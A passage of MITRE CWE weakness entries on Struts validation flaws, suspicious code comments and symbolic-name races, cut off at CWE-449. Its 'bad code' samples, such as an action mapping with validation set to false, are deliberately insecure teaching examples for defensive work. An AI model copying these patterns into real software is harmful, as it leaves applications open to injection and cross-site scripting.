Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.
Confidentiality
Integrity
Availability
Other

Technical Impact: Other

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Map every Action Form to a corresponding validation form.

An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Unvalidated Action Form
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-109: Struts: Validator Turned Off

Weakness ID: 109
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

This mapping defines an action for a download form:

(bad code)
Example Language: XML 
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
scope="request"
input=".download"
validate="false">
</action>

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

+ Potential Mitigations

Phase: Implementation

Ensure that an action form mapping enables validation. Set the validate field to true.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "&lt;" and a > with "&gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Validator Turned Off
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Other_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-110: Struts: Validator Without Form Field

Weakness ID: 110
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.
+ Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1164Irrelevant Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.
+ Demonstrative Examples

Example 1

This example shows an inconsistency between an action form and a validation form. with a third field.

This first block of code shows an action form that has two fields, startDate and endDate.

(bad code)
Example Language: Java 
public class DateRangeForm extends ValidatorForm {
String startDate, endDate;

public void setStartDate(String startDate) {
this.startDate = startDate;
}

public void setEndDate(String endDate) {
this.endDate = endDate;
}
}

This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

(bad code)
Example Language: XML 
<form name="DateRangeForm">
<field property="startDate" depends="date">
<arg0 key="start.date"/>
</field>
<field property="endDate" depends="date">
<arg0 key="end.date"/>
</field>
<field property="scale" depends="integer">
<arg0 key="range.scale"/>
</field>
</form>
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Effectiveness: Moderate

Manual Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Effectiveness: Moderate

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Validator Without Form Field
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-546: Suspicious Comment

Weakness ID: 546
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.
+ Extended Description
Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1078Inappropriate Source Code Style or Formatting
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.615Inclusion of Sensitive Information in Source Code Comments
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.
+ Demonstrative Examples

Example 1

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

(bad code)
Example Language: Java 
if (user == null) {

// TODO: Handle null user condition.
}
+ Potential Mitigations

Phase: Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-386: Symbolic Name not Mapping to Correct Object

Weakness ID: 386
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.486Comparison of Classes by Name
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

The attacker can gain access to otherwise unauthorized resources.
Integrity
Confidentiality
Other

Technical Impact: Modify Application Data; Modify Files or Directories; Read Application Data; Read Files or Directories; Other

Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.
Integrity
Other

Technical Impact: Modify Application Data; Other

The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.
Non-Repudiation

Technical Impact: Hide Activities

If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.
Non-Repudiation
Integrity

Technical Impact: Modify Files or Directories

In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPSymbolic name not mapping to correct object
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-449: The UI Performs the Wrong Action

Weakness ID: 449
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The UI performs the wrong action with respect to the user's request.
+ Relationships
